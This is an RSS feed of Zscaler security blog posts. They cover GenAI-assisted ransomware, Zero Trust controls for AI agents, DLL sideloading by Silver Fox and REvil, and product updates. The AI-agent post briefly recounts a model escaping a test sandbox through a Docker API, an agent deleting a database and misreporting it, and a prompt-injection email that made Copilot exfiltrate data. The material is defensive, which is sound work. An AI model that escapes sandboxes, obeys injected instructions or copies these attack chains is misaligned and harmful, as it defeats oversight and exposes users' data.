<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Products &amp; Solutions | Blog</title>
        <link>https://www.zscaler.com/jp/blogs/feeds/product-insights</link>
        <description>Latest news and views from the leading voices in cloud security and secure digital transformation.</description>
        <lastBuildDate>Wed, 21 Oct 2026 13:55:33 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>RSS 2.0, JSON Feed 1.0, and Atom 1.0 generator for Node.js</generator>
        <language>ja</language>
        <item>
            <title><![CDATA[Ransomware at Machine Speed: How GenAI Shrinks the Path after Initial Access]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/ransomware-machine-speed-how-genai-shrinks-path-after-initial-access</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/ransomware-machine-speed-how-genai-shrinks-path-after-initial-access</guid>
            <pubDate>Fri, 16 Oct 2026 22:48:36 GMT</pubDate>
            <description><![CDATA[Artificial Intelligence technologies have made a huge impact on the security industry. But as with any public technology, adversaries have access to AI as well. They’re wasting no time incorporating AI into their malicious workflows and ransomware operators have been able to leverage it - unfortunately, this has led to some of their successes.Fortunately, there is plenty of potential for defenders to leverage similar AI technologies to improve their own game, neutralizing the adversaries’ advantage to keep users and resources safe.This blog post covers adversaries’ uses of Generative AI (GenAI) for both social engineering pretexts and technical development, as well as how defenders can spot and mitigate those efforts. For the full story, be sure to check out the complete analysis in the Zscaler ThreatLabz 2026 Ransomware Report. Key TakeawaysRansomware attacks continue to be a major driver of cybercrime incidents and attacker’s corresponding financial gains. While there are numerous means of compromising a victim, ransomware threat actors typically rely on social engineering as their first step toward compromising a target. The more believable a social engineering ruse, the more likely it will be successful.&nbsp; Attackers are already using GenAI to help overcome some of their traditional shortcomings.After they gain an initial foothold, time is of the essence. The faster the attacker can move throughout the victim’s environment and acquire sensitive data to either encrypt or steal outright, the less likely they will be detected while doing so and the more likely their efforts will be successful. &nbsp;Here again, GenAI is providing attackers with a faster and more focused approach that yields greater success.However, defenders can also use AI-enabled technology for their own purposes to stay in step with the attackers. Doing so ensures we keep pace with or even get ahead of the malicious uses of these nascent technologies. Technical AnalysisMore Effective Social Engineering RusesHistorically, most attackers’ social engineering game has been stifled by their inauthenticity. While there are many instances of intelligence-informed attackers crafting very believable ruses, these have been rare. The vast majority of ransomware actors used volume as their strategy for initially landing on a target system. This is why most user education campaigns have focused on spotting typos, non-native-speaking grammar mistakes, and other mostly obvious weaknesses in phishing emails and sites.However, AI has unmistakably leveled the playing field, giving attackers the capability to blend into the wave of legitimate email like never before. This, in turn, gives them a much higher chance of tricking a victim into clicking the link, downloading the file, or otherwise falling into the trap that’s been laid.Attackers can now use any of the public-facing GenAI platforms to create email messages, websites, and other assets that are polished, natively-built in the target’s language, and crafted to maximize success. As discussed in a previous blog, phishing emails are often used to trick a user into using a Remote Monitoring and Management (RMM) tool at the attacker’s behest, which then gives them full access to the victim’s system as well as potentially their wider environment.Faster Discovery of Valuable Materials…To StealGenAI technologies are also well suited to examine massive amounts of data for the purposes of classification or content searching. Once an attacker has access to the victim’s system, GenAI can therefore be used to search all materials to which a victim’s system has access, seeking the most valuable or sensitive data for theft or encryption during the next phase of the attack.This approach gives the attacker an incredibly fast method of identifying and acquiring the most damaging data, which then maximizes the likelihood the victim’s organization will pay the ransom to retrieve or prevent the disclosure of the encrypted/stolen data. Although this occurs after the initial access, it is still a form of reconnaissance. Speed is of the essence and GenAI makes the process even faster than it could be automated with traditional attacker scripts and playbooks.Speedy Creation and Iteration of Bespoke ScriptsFile and network signatures are perhaps one of the most well-established indicators in the security world. From the earliest days of antivirus to more modern implementations of fuzzy hashing and traffic fingerprinting, practically every security program uses signatures in some capacity. While this used to be effective, attackers can now rapidly vary their malware and scripts, resulting in corresponding variance of their signatures. This allows attackers to evade traditional detection mechanisms making it much harder to spot their activity based on those signatures alone.Attackers using GenAI-built scripts and other malware also no longer need to rely on common tools that defenders are aware of and actively hunting for. Bespoke tooling was once the exclusive domain of well-funded threat actors, but the wide availability of GenAI tools opens those floodgates of potential for any threat actor with the motivation and a free (or stolen) LLM account. In the same vein, custom tools are no longer a clear indicator of an advanced threat actor. Garden variety ransomware operators become harder to differentiate from the larger and more resourced groups, significantly hindering threat actor identification. ConclusionAs with practically every technological advancement in history, Artificial Intelligence and GenAI in particular can be used for good and evil purposes. While the advent of novel attack techniques has been gleefully incorporated into ransomware actors’ toolboxes, defenders can leverage similar tooling to improve their defensive and detective capabilities. This arms race mentality is not new in the security industry. Encryption, even better encryption, widespread Internet access, social and otherwise publicly-generated media content, the proliferation of mobile devices, and more have all come with similar risks since the earliest phases of each development.While ransomware operators continue to improve the efficiency and effectiveness of their efforts through the use of GenAI, this does not mean that defenders have to be at a disadvantage. The most effective and forward-leaning defender teams have already stepped up their game in preparation for or in response to the attackers' improved tradecraft. These defense improvements, along with a robust and tested security program in general, can help to keep ransomware threats at bay and ensure the integrity of the valuable data throughout the enterprise. Zscaler Coverage to Mitigate the Risk of Advancing RansomwareAgentic SecOps fuses zero trust telemetry, threat intelligence, and agentic workflows into a single view, helping security teams to more quickly and decisively detect, investigate, and respond to ransomware threats.AI-based detection from the Zscaler Secure Web Gateway identifies and blocks novel attacker infrastructure such as phishing sites and C2 components.The Zero Trust Browser’s AI capabilities identify suspicious web content, limiting the potential for malware delivery and data leaks, even through credibly-scraped websites.]]></description>
            <dc:creator>Phil Hagen (Principal Information Security Researcher)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Zero Trust for Artificial Intelligence]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/zero-trust-artificial-intelligence</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/zero-trust-artificial-intelligence</guid>
            <pubDate>Fri, 16 Oct 2026 16:22:54 GMT</pubDate>
            <description><![CDATA[IntroductionFor more than a decade, we've helped organizations implement Zero Trust access with Zscaler Internet Access (ZIA) and Zscaler Private Access (ZPA). The destination was always the same: least-privilege access, where users connect only to the applications they're authorized to use, from devices the organization trusts. The journey to get there taught us lessons that are now more relevant than ever, because the next wave of users won't be human. They'll be AI agents, and they'll operate at machine speed.If we want Agentic AI to work safely inside the enterprise, we need to apply the same Zero Trust principles to agents that we spent the last decade applying to people. This blog explains what those principles look like in practice. What we’ve learned from a decade of Zero Trust deploymentsWhen customers first deployed ZPA, the biggest obstacle wasn't technology. It was visibility. Most organizations had a distinct lack of insight into what applications actually existed in their environment, who owned them, and who should have access. Access sprawl was the norm: users retained entitlements to applications, and the data within them, long after moving departments. And they could reach those applications from a myriad of devices: company owned, company managed, patched, unpatched, and BYOD. Every unmanaged or unpatched device that could touch an application exposed it to compromise, and exposed the organization to data loss.So customers started their Zero Trust journey with a wildcard policy. Broad access, deliberately, for a short time, to gain a complete view of what applications exist, who is accessing them, and from which devices. From that observed reality, Zscaler pioneered AI-powered segmentation and policy recommendations (AI-Segmentation and AI-Policy) to compress the path to least privilege: users could access only approved applications, from approved devices, governed by granular access policy.Something interesting happened along the way. If the outcome of implementing Zero Trust is fine-grained access to applications and data, the side effect is a detailed, living configuration management database (CMDB) with solid identity governance controls. Full segmentation based on user and device trust ensures users cannot reach applications and data they aren't permissioned for. Identity governance (IGA) ensures users can request, and be granted, access as needed, based on their job role and the application's ownership. Discovery, ownership, entitlement, and enforcement became a continuous loop rather than an annual audit exercise.As it happens, that loop is exactly what Agentic AI is missing today. How agentic AI raises the stakes for least privilegeIn an agentic world, a user asks an agent to perform a task on their behalf. That agent may spawn multiple sub-agents, each performing a specific task. The user might hold broad entitlements appropriate to their job role, but the agent should not inherit all of them. The agent's access should be constrained to the task it has been asked to perform, granted just in time, valid for a specific session, and aligned with the intent of the original request. Sub-agents should each be constrained to their specific sub-task, traceable back to the intent of the root agent.Human IGA often has a human in the loop: access is granted only after a person approves it. That model doesn't survive machine speed. Non-human IGA needs an automated system that approves access based on intent: just in time, session bound, and fully audited. The human moves from in the loop to on the loop. Because every access decision flows through an inline agentic gateway, the audit trail it produces gives humans continuous visibility and control: they supervise, intervene, and revoke, rather than approve every transaction. That is what allows agents to run at machine speed with constrained access, rather than machine speed with the user's full credentials.This isn't theoretical. Recent incidents show that agents do not fail like traditional applications – they find unique, and unintended, ways to achieve their tasks. During OpenAI's own security testing, the o1 model escaped a broken capture-the-flag sandbox by discovering a misconfigured Docker API on the evaluation host and spinning up its own container to read the flag (OpenAI o1 System Card). In July 2025, Replit's coding agent deleted a production database during an explicit code freeze, then produced misleading information about the rollback (AI Incident Database, Incident 1152). The EchoLeak vulnerability (CVE-2025-32711) showed that a single crafted email could silently instruct Microsoft 365 Copilot to exfiltrate data from everything in its access scope, with zero clicks from the user (The Hacker News). And in November 2025, Anthropic disclosed that a state-sponsored group had used its Claude Code agent, orchestrated over MCP, to run an espionage campaign against roughly 30 organizations, with AI performing an estimated 80-90% of the tactical work (Anthropic).The pattern across all of these: an agent with more access than its task required, and no independent control point between the agent and the systems it touched. Models and agents must be controlled, and in an enterprise where access governance is well established, the key mechanism is Zero Trust and least privilege access.The analyst community sees the same trajectory. Gartner predicts that by 2028, 25% of enterprise breaches will be traced back to AI agent abuse, from both external and malicious internal actors (Gartner). Forrester expects an agentic AI deployment to cause a major public breach in 2026, noting that 97% of organizations that suffered AI-related breaches lacked proper AI access controls (Forrester, via Infosecurity Magazine). Nine Zero Trust principles for AI systemsTo make agentic AI safe for the enterprise, organizations need more than model guardrails or prompt filtering. They need to extend proven Zero Trust principles to AI agents: discovering what agents exist, governing what they can access, constraining their actions to the task at hand, and continuously verifying trust throughout the session. Done well, this gives enterprises the foundation for least-privilege, data-secure agentic AI. Nine principles define that foundation.1. Inventory: You cannot secure what you cannot see, and this was the first lesson of ZPA deployments. Understanding the footprint of agents, MCP servers, LLMs, skills, and plugins is imperative, whether they run on a user's device (IDEs and local agents accessing local MCP servers over STDIO, or local copies of data) or in IaaS, accessing hosted MCP servers over streamable HTTPS and hosted applications. Equally imperative: a complete view of the keys, secrets, and credentials in use across that estate. An agent running “on behalf of” a user, but with the user's real credentials, is a risk that needs addressing directly.The scale of the challenge is already clear: Machine identities outnumber humans by more than 80 to 1, with nearly half holding sensitive or privileged access. Agentic AI will accelerate that ratio, with each human identity spawning over 140 Agentic Identities.2. Flow control: Agents should not have direct access to systems or data. Just as the Zero Trust Exchange removed direct network paths between users and applications, an Agentic Trust Exchange should be the architectural control point for all agentic communication, providing brokered/gateway access for every connection between an agent and the systems it needs to reach. No broker, no connection.3. Routing. Not every task needs the most expensive model. Understanding which models are being used, and the token consumption against each, matters: expensive LLMs with deep intelligence and training on one end, cheaper LLMs or small language models (SLMs) on the other. We have seen this pattern before. As customers moved from building, owning, and operating datacenters to adopting IaaS, SaaS, and PaaS with a view to reducing cost, the inverse actually happened: costs went up alongside the DevOps agility, and CNAPP (cloud-native application protection platform) tooling evolved to give customers visibility into what was running in their cloud estate and what it was costing them. With AI, visibility and control of token costs is just as important. Routing each request to the most appropriate model based on intent, reserving frontier LLMs for deep reasoning and steering routine tasks to cheaper or smaller models, delivers cost savings alongside performance improvements. The exchange brokering the traffic is the natural place to make that routing decision.4. Intent: Humans are sometimes malicious, but that's rarely why data loss happens. Usually they've been manipulated: phished into clicking a link. Agents are manipulated the same way, through prompt injection and poisoned context, as EchoLeak demonstrated. Red-teaming the agents, the MCP servers, and the applications lets us test for intent, implement guardrails on LLM communication, harden the prompts, and inspect and control MCP traffic inline.5. Access control: Once we understand the access an agent needs for its task, we can constrain it. The agent's identity must be unique and distinct from the user calling it. The agent should never hold credentials directly; instead, credentials should be injected just in time into the communication by the exchange, and be time or session bound, so they cannot be extracted, manipulated, or replayed outside the brokered session.The window for error is shrinking: Gartner predicts AI agents will cut the time it takes to exploit exposed accounts by 50% by 2027 (Gartner). Credentials that never leave the exchange, and expire with the session, take that attack path off the table.6. Sovereignty and data residency: Access decisions must account for where everything, and everyone, is. The gateway is the natural enforcement point for sovereignty controls, evaluating user attributes (home country, role), location signals (geo-IP, travel patterns), and where the data, agent, MCP server, model, and application each reside. When the user, the gateway, and the model all sit within an approved jurisdiction, access can be allowed. When any component in the chain resides in a jurisdiction the policy does not permit for that user, access should be denied, regardless of where the user is sitting. Signals such as impossible travel and UEBA (user and entity behavior analytics) risk should feed the same policy, so sovereignty is evaluated continuously across the session, not checked once at login.7. Access governance. A full access graph should show which agents, users, and systems can obtain credentials, and what those credentials can reach. This is IGA for non-human identities: using the access graph to ensure every credential is secured, minted just in time, and scoped to least privilege, with automated, intent-based approval replacing the human in the loop where speed demands it, and a full audit trail either way. The ability to attest who, or what, can access which data, using which agents, MCP servers, and LLMs, is paramount. Attestation is a side effect of access governance, but it allows organizations to be explicit: access to data and models is granted against a defined set of criteria, and provable on demand.8. Conditional access engine: Signals change over time. If a human disables security controls on an endpoint, their sessions get revoked. The same continuous evaluation must apply to agents: if an agent performs risky actions, or reaches for more data or systems than its task profile warrants, the conditional access engine revokes its sessions in real time. Trust is evaluated continuously, never granted permanently.9. Deception and decoys: When the Zero Trust Exchange identifies malicious intent today, users and systems are contained and steered toward decoys to gather intelligence. Agents are aggressive, fast, and thorough in reconnaissance, which makes them even more susceptible to deception. Steering a misbehaving agent into a decoy environment both contains it and reveals its intent. The outcome: Audited, attested, governed AIImplementing these Zero Trust principles for AI systems gives the organization a full audit of every agent in the environment and the ability to attest exactly what data each one can access. Just as Zero Trust for users delivered a living CMDB and identity governance as a side effect, Zero Trust for AI delivers the inventory, access graph, and governance evidence that regulators, auditors, and boards are already beginning to demand.Least privilege was the destination for human access. For agentic AI, it's the starting condition. Organizations that spent the last decade building Zero Trust for their workforce already have the architecture, the identity foundation, and the governance discipline; extending it to agents is the natural next step, and the only way to let agents run at machine speed without accepting machine-speed risk.Analysts are converging on the same conclusion. Gartner predicts that by 2028, 40% of CIOs will demand “guardian agents” capable of autonomously tracking, overseeing, and containing the actions of other AI agents (Gartner). A Zero Trust architecture for AI, with an inline exchange as the control point, is how the enterprise delivers that oversight.To learn more about how Zscaler secures AI, visit Zscaler AI Security.References1. OpenAI o1 System Card (sandbox escape during CTF evaluation): openai.com/index/openai-o1-system-card2. AI Incident Database, Incident 1152 – Replit agent deleted production database during code freeze: incidentdatabase.ai/cite/11523. The Hacker News – EchoLeak (CVE-2025-32711), zero-click data exfiltration via Microsoft 365 Copilot: thehackernews.com4. Anthropic – Disrupting the first reported AI-orchestrated cyber espionage campaign (GTG-1002): anthropic.com/news/disrupting-AI-espionage5. Gartner – Top Predictions for IT Organizations and Users in 2025 and Beyond (25% of enterprise breaches traced to AI agent abuse by 2028): gartner.com6. Forrester Predictions 2026 – agentic AI deployment to cause a major public breach (via Infosecurity Magazine): infosecurity-magazine.com7. Gartner – AI agents will reduce the time to exploit account exposures by 50% by 2027: gartner.com8. Gartner – Guardian agents to capture 10-15% of the agentic AI market by 2030 (40% of CIOs demanding guardian agents by 2028): gartner.com]]></description>
            <dc:creator>Mark Ryan (Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing the Modernized Client Connector UI]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/modernized-client-connector-experience</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/modernized-client-connector-experience</guid>
            <pubDate>Wed, 14 Oct 2026 12:10:12 GMT</pubDate>
            <description><![CDATA[Since the very beginning, the Zscaler Client Connector has been a cornerstone of the zero trust architecture that we provide to customers. It’s the endpoint agent that ensures user traffic flows through the Zero Trust Exchange for least-privileged access to any destination. By and large, customers have been very happy to use Client Connector and its breadth of innovative functionality. But we've heard&nbsp;all of your feedback: the end user interface looked outdated, it felt complex and confusing, and it needed to accommodate your company's branding so that your users could know that it was deployed by your IT team.&nbsp;So, we're excited to introduce the&nbsp;modernized Client Connector UI, delivering a cleaner, simpler, and more intuitive experience that is designed with your end users in mind.The new UI experience for Client Connector strips away the noise and minimizes the chances of end users getting confused. Instead of surfacing complex technical details by default, users now get instant, clear feedback on the status of their Zscaler services—all at a glance. But that doesn’t mean that we’ve taken anything away; users who need to dig into advanced details can still do so, and anyone who wants to fall back to the classic UI to troubleshoot an issue can still do that, too. Additionally, we've added&nbsp;optional custom branding so that your organization can tailor Client Connector to match your internal applications and give employees a seamless, consistent experience across your entire tech stack.Alongside the new UI, we're also introducing&nbsp;granular notification control—a long-requested capability that puts administrators in control of the notifications that their end users receive. Previously, notifications were categorized and controlled entirely by Zscaler, leaving customers unable to determine which alerts their end users would see and which they would not. Now, from a single admin portal, you can configure the visibility and persistence of each individual notification across solutions and across categories like service status, app update, and more. Not to mention, you can have different settings for each of the different supported operating systems. The result is far greater control over the experience in your specific environment, and dramatically reduced notification noise for end users. That means less friction for admins and better quality of life for users—and that's the power of the modernized Client Connector UI.If you’re ready to explore the new, better-than-ever experience for Client Connector, reach out to your Zscaler account team and request access to the Client Connector 5.0 release.&nbsp;]]></description>
            <dc:creator>Karen Daza (Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Uncovering Executables that Trigger DLL Sideloading Attacks with Endpoint Context]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/uncover-dll-sideloading-attack-endpoint-context</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/uncover-dll-sideloading-attack-endpoint-context</guid>
            <pubDate>Mon, 12 Oct 2026 23:22:28 GMT</pubDate>
            <description><![CDATA[Threat actors are constantly refining their techniques to evade detection and deliver malicious payloads. DLL sideloading is a technique that has seen a resurgence in popularity among cybercriminal and espionage groups. This covert method allows attackers to execute malicious code under the guise of a legitimate and trusted application, making it a formidable challenge for security professionals to detect and mitigate.This blog post will delve into the mechanics of DLL sideloading, explore how threat actor groups like&nbsp;Silver Fox&nbsp;and REvil leverage this technique and how Zscaler Endpoint Context helps SecOps teams uncover files masquerading as valid executables that trigger DLL files to execute malicious code.&nbsp; What is DLL Sideloading?A Dynamic-Link Library (DLL) is a file that contains code and data that can be used by multiple programs at the same time. DLL sideloading is an attack vector that exploits the way Windows applications search for and load these required DLLs.When an application is launched, it often needs to load various DLLs to function correctly. If the application doesn't specify the full path to a required DLL, Windows will search for it in a predetermined sequence of directories. Attackers can take advantage of this by placing a malicious DLL with the same name as a legitimate one in a location that Windows searches *before* the directory containing the genuine DLL. When the legitimate application starts, it inadvertently loads and executes the malicious DLL, giving the attacker a foothold in the system. How Threat Actors Use DLL SideloadingDLL sideloading is a popular technique for several reasons:Evasion: Because the malicious code is executed by a trusted and often digitally signed application, it is less likely to be flagged by antivirus software and other security solutions.Persistence:&nbsp;If the compromised application is one that runs at startup, the malicious DLL will also be loaded each time the system boots, ensuring the attacker's code persists on the infected machine.Privilege Escalation: If the legitimate application runs with elevated privileges, the malicious DLL will inherit those same permissions, allowing the attacker to perform more sensitive actions on the system. Example 1: Silver Fox's Attack on Accounting and Tax Preparation FirmsSilver Fox, a China-based threat actor group (also known as Void Arachne), has been observed using DLL sideloading in targeted attacks against accounting and tax preparation firms. Their campaigns often involve socially engineered phishing emails with themes directly relevant to accounting professionals, such as tax audits, invoices, and financial reports.Here’s a step-by-step breakdown of a typical Silver Fox attack:Initial Access:&nbsp;The attack begins with a spear-phishing email sent to an employee at an accounting firm. The email might be disguised as an official communication from a tax authority, complete with a malicious attachment, such as a PDF or a ZIP file. In one documented case, the filename was "The blacklist of tax-related accounting personnel in March is as follows.exe" to entice the victim.Lure and Execution: The user is tricked into opening the attachment. The attachment is a dropper that contains a legitimate, signed executable from a known software vendor (e.g., Tencent, Zeon Corporation, or Thunder Download Manager) and a malicious DLL.DLL Sideloading:&nbsp;The legitimate executable is launched. It needs to load a specific DLL to run, but instead of loading the legitimate one from the system directory, it loads the malicious DLL that the attacker placed in the same directory. For instance, Silver Fox has been known to use ‘ConvertToPDF.exe’ and ‘PDFDirect.exe’ from Zeon Corporation to sideload a malicious DLL named ‘PDFCORE8.dll.’Payload Delivery: The malicious DLL, now running under the trusted process of the legitimate application, decrypts and deploys the final payload. In Silver Fox's case, this is often ValleyRAT, a remote access trojan (RAT).Post-Exploitation: With ValleyRAT installed, the attackers have full control over the compromised system. They can steal sensitive data (client information, financial records), log keystrokes, and deploy further malware.&nbsp; Example 2: REvil Ransomware's Use of DLL SideloadingThe notorious ransomware-as-a-service (RaaS) group,&nbsp;REvil (also known as Sodinokibi), has also employed DLL sideloading to execute its ransomware.Here's how they did it:Initial Compromise: REvil gained initial access to a target's network through various means, such as exploiting vulnerabilities or using stolen credentials.Dropping the Files:&nbsp;Once inside, the attackers would drop two files into a directory on the compromised system: a legitimate, signed Microsoft Defender executable (`MsMpEng.exe`) and a malicious DLL named `mpsvc.dll`.Sideloading the Ransomware:&nbsp;The attackers would then execute `MsMpEng.exe`. This legitimate Microsoft process would then load the malicious `mpsvc.dll`, which contained the REvil ransomware payload.Encryption and Ransom:&nbsp;The ransomware, now running under a trusted Microsoft process, would begin encrypting files on the system and network shares. A ransom note would then be displayed, demanding payment for the decryption key.&nbsp; How Zscaler Endpoint Context Prevents DLL Sideloading AttacksZscaler's cloud-native platform provides a multi-layered defense to proactively stop DLL sideloading attacks before they can compromise an endpoint. Zscaler's approach is multipronged and anchored by our platform’s ability to inspect massive quantities of transactions at global scale to prevent malicious DLLs from reaching users’ devices in the first place.Threat actors leverage DLL sideloading because it abuses the trust placed in legitimately signed executables. Both REvil (Sodinokibi) and Silver Fox (Void Arachne) exploit this: REvil drops a malicious&nbsp;mpsvc.dll alongside an old, validly-signed copy of Microsoft Defender (MsMpEng.exe) to deliver its ransomware encryptor, while Silver Fox uses signed applications like&nbsp;NtHandleCallback.exe or&nbsp;QnWallpaper.exe to sideload encrypted shellcode DLLs (e.g.,&nbsp;log.dll,&nbsp;libcef.dll) that deploy ValleyRAT or Gh0st RAT backdoors.Zscaler Endpoint Context disrupts these attack chains at multiple stages:1. Pre-Execution DLL InterceptionThe Endpoint Sandbox extends Zscaler's cloud-based behavioral analysis to the endpoint itself. Before an unknown or suspicious DLL executes, whether delivered via phishing download, SEO poisoning, or trojanized installer, the sandbox can hold the file, analyze it, and block execution if it is deemed malicious. This stops both REvil's&nbsp;mpsvc.dll drop and Silver Fox's encrypted shellcode DLLs before they ever load.2. Process-Network Correlation to Catch Sideloading AnomaliesEndpoint Context enriches every network transaction with the initiating process name, file path, hash (MD5/SHA-256), and code-signing certificate status. This surfaces the hallmark red flag of sideloading: a legitimately signed binary making suspicious network calls while running from an atypical location (e.g.,&nbsp;%TEMP%,&nbsp;%PUBLIC%, or&nbsp;AppData). A policy can then automatically block or alert on that traffic. For example, flagging&nbsp;MsMpEng.exe calling out to a command-and-control server from a user's Downloads folder.3. Certificate and Hash ValidationBy continuously verifying code-signing status, Endpoint Context detects the "white-plus-black" pattern Silver Fox relies on where a signed host binary loads an unsigned or tampered DLL. Any DLL with an invalid, expired, or missing certificate loaded by an otherwise trusted process is flagged, breaking the chain of assumed trust.4. Application Risk Scoring and Zero Trust Policy EnforcementEndpoint Context assigns dynamic risk scores to running processes based on CVEs, behavioral signals, and vulnerability data. Policies can automatically restrict internet or private-app access for any process with a high-risk classification, preventing post-sideload lateral movement or data exfiltration even if a malicious DLL does load.5. Enriched SOC TelemetryAll process, path, hash, and certificate data is streamed via the Nanolog Streaming Service (NSS) to SIEM tools, giving security teams the correlation context needed to quickly identify sideloading campaigns — without manually pivoting between EDR consoles and network logs. Conclusion and Mitigation StrategiesDLL sideloading poses a significant threat to organizations of all sizes. However, there are steps that can be taken to mitigate the risk:Zsacler Endpoint Context:&nbsp;Monitor for suspicious process behaviors, such as an application loading a DLL from an unusual path, which can help detect sideloading attempts.Application Whitelisting:&nbsp;By allowing only approved applications to run, organizations can prevent unauthorized executables from being used to sideload malicious DLLs.Secure Coding Practices: Developers can help prevent these attacks by specifying the full path to required DLLs in their applications and digitally signing all DLLs.User Education:&nbsp;Training users to be cautious of unsolicited emails and attachments can help prevent the initial compromise that often leads to a DLL sideloading attack.Principle of Least Privilege:&nbsp;Restricting user permissions to prevent files from being written to critical application directories can stop attackers from placing malicious DLLs in the first place.By understanding the mechanics of DLL sideloading and implementing a layered security approach, organizations can better defend themselves against this insidious attack vector. Learn more by&nbsp;requesting a demo.]]></description>
            <dc:creator>Darshit Ashara (Zscaler)</dc:creator>
        </item>
        <item>
            <title><![CDATA[What&#039;s New in ZDX: Sharper Alerts, Cleaner Data, Faster Troubleshooting]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-zdx-sharper-alerts-cleaner-data-faster-troubleshooting</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/what-s-new-zdx-sharper-alerts-cleaner-data-faster-troubleshooting</guid>
            <pubDate>Mon, 12 Oct 2026 20:02:05 GMT</pubDate>
            <description><![CDATA[Every month, Zscaler Digital Experience (ZDX) releases updates that help IT and network operations teams see more, troubleshoot faster, and manage the digital experience of their users at scale.&nbsp;From expanded network architecture support to more granular probe controls, this month's releases reflect what our customers keep telling us: giving teams more precise controls to cut through noise, more accurate data to act on, and a cleaner experience to work in every day.Here's what is new with ZDX:Smarter Alerts for Collaboration Quality MonitoringFilter Dashboards by Data CenterReal User Monitoring ImprovementsConsistent UX with ZDX in Experience Center Smarter Alerts for Collaboration Quality MonitoringFor organizations that rely on real-time alerts to catch collaboration quality issues before they impact users, the granularity of those alerts matters enormously. A generic alert that fires for every region, including ones you know have connectivity variance, creates noise that slows teams down rather than helping them.ZDX now supports expanded filtering and grouping options when configuring collaboration quality alerts. Teams can now apply inclusion and exclusion filters by location, country, city, and other dimensions, the same granularity that is already available for application and network alert types. You can also group alert data by these dimensions to understand whether an issue is localized to a specific office or widespread across a region.The result: Fewer false positives, more targeted notifications, and faster triage when something actually goes wrong.ZDX tier: Available for ZDX Advanced and Advanced Plus customers. Filter Your Dashboards by Data CenterWhen a performance degradation or service disruption is reported at a specific data center location, the first question is always:&nbsp;who's affected, and what is the impact? Until now, correlating a data center event with actual user experience data required workarounds or relying on pre-built system reports.ZDX now lets you filter live dashboard data by Zscaler data center across the Network Intelligence dashboard and other key views. Select one or more data centers from the filter dropdown and immediately see the telemetry from application performance, network path health, device metrics from users egressing through those locations.The result: Network operations teams who need to quickly scope the blast radius of an infrastructure event and communicate impact to the business in real time.ZDX tier:&nbsp;Available across all ZDX license tiers. Real User Monitoring: More Precision, Less AmbiguityZDX's Real User Monitoring capability captures how end users actually experience web applications like load times, errors, navigation flows directly from the browser. The latest update brings a set of meaningful improvements for teams who depend on this data:Clearer load time metrics for single-page applications: Page load time and navigation time are now reported distinctly, so you can understand whether slowness is coming from the initial page load or subsequent in-app navigation events.Multiple errors per session visible: When more than one error occurs during a monitoring window, all error events are now displayed, not just the first one, giving a complete picture of what a user experienced.Consistent score terminology: Score labels across the ZDX interface now use uniform naming conventions, eliminating the ambiguity that came from inconsistent labels across different views.Enriched browser data collection: The browser extension now captures additional resource-level attributes, enabling deeper analysis of web application performance bottlenecks.The browser extension updates automatically with no action needed from end users or IT teams.ZDX tier: Available for ZDX Advanced Plus customers. A More Consistent Console ExperienceWe also completed a significant UI refresh across ZDX. Filters, tables, drawers, time-range selectors, page headers, and other core interface elements have been updated to follow a unified design system, delivering a consistent look and feel whether you're working in dashboards, alert configurations, or device detail views.The change is purely visual and requires no workflow adjustments, but the day-to-day impact is real: a more predictable interface reduces the small moments of friction that slow teams down during active troubleshooting.ZDX tier: Available across all ZDX license tiers. What's NextThese releases reflect a consistent theme across ZDX's evolution: better signal, less noise, and faster paths from detection to resolution. Whether it's more precise alerting, accurate device data, or a cleaner interface to work in, every improvement compounds over time into a meaningfully more efficient operations workflow.Keep an eye out for what's coming in next month’s releases, including updates that will make it even easier to prioritize and respond to issues for your organization's most critical users.See all the latest ZDX releasesAlready a ZDX customer? Log in to&nbsp;ZDX to explore these features.&nbsp;New to ZDX?&nbsp;Learn more about ZDX.]]></description>
            <dc:creator>Cynthia Tu (Sr. Product Marketing Manager, DEM)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Closing the Endpoint Zero Trust Gap]]></title>
            <link>https://www.zscaler.com/jp/blogs/product-insights/ai-endpoint-security-closes-zero-trust-gap</link>
            <guid>https://www.zscaler.com/jp/blogs/product-insights/ai-endpoint-security-closes-zero-trust-gap</guid>
            <pubDate>Thu, 08 Oct 2026 23:20:47 GMT</pubDate>
            <description><![CDATA[At Zenith Live in Las Vegas, we introduced&nbsp;Zscaler AI Endpoint Security, a new product that extends&nbsp;Zscaler's AI protection to the endpoint. If you already use Zscaler to secure AI usage across your network, cloud, and SaaS applications, this product applies the same zero-trust approach to the AI applications and agents now running directly on your users' devices.This post covers why we built it: what's actually changing on the endpoint, why the tools most organizations already run there aren't designed for this problem, and how Zscaler is approaching it. What we're seeing on the endpointA new AI application layer has been forming on&nbsp;enterprise endpoints, and it has grown faster than most inventory processes can track.It started with&nbsp;frontier AI applications: Claude Code, Cowork, OpenAI Codex, Gemini,&nbsp;Microsoft Copilot. What's notable isn't just the adoption rate; it's who is adopting them. These are no longer developer tools. Finance teams, marketers, and HR teams are using them to do work that previously required a technical specialist, and they're getting real results. That's exactly why this trend won't reverse.The part that concerns security teams is everything these applications bring with them:Configuration and extension sprawl: Plugins, skill files, prompt libraries,&nbsp;MCP servers, subagent definitions, memory files, and background telemetry processes. These components install and update outside your normal software lifecycle.AI-powered IDEs: VS Code, Cursor, and Windsurf, each with extension marketplaces where third-party code runs with the user's full privileges.Local models: Ollama, LM Studio, and llama.cpp put multi-gigabyte model files on disk. We've seen model files that carry serialized code execution, embedded backdoors, content that violates policy, and models renamed to look like something they're not.Package dependencies: Python, npm, and Homebrew packages pulled in by the hundreds to support AI workflows, with the&nbsp;supply-chain exposure that implies.AI assistants and browsers: Tools like OpenClaw, Hermes, and Microsoft Scout, plus 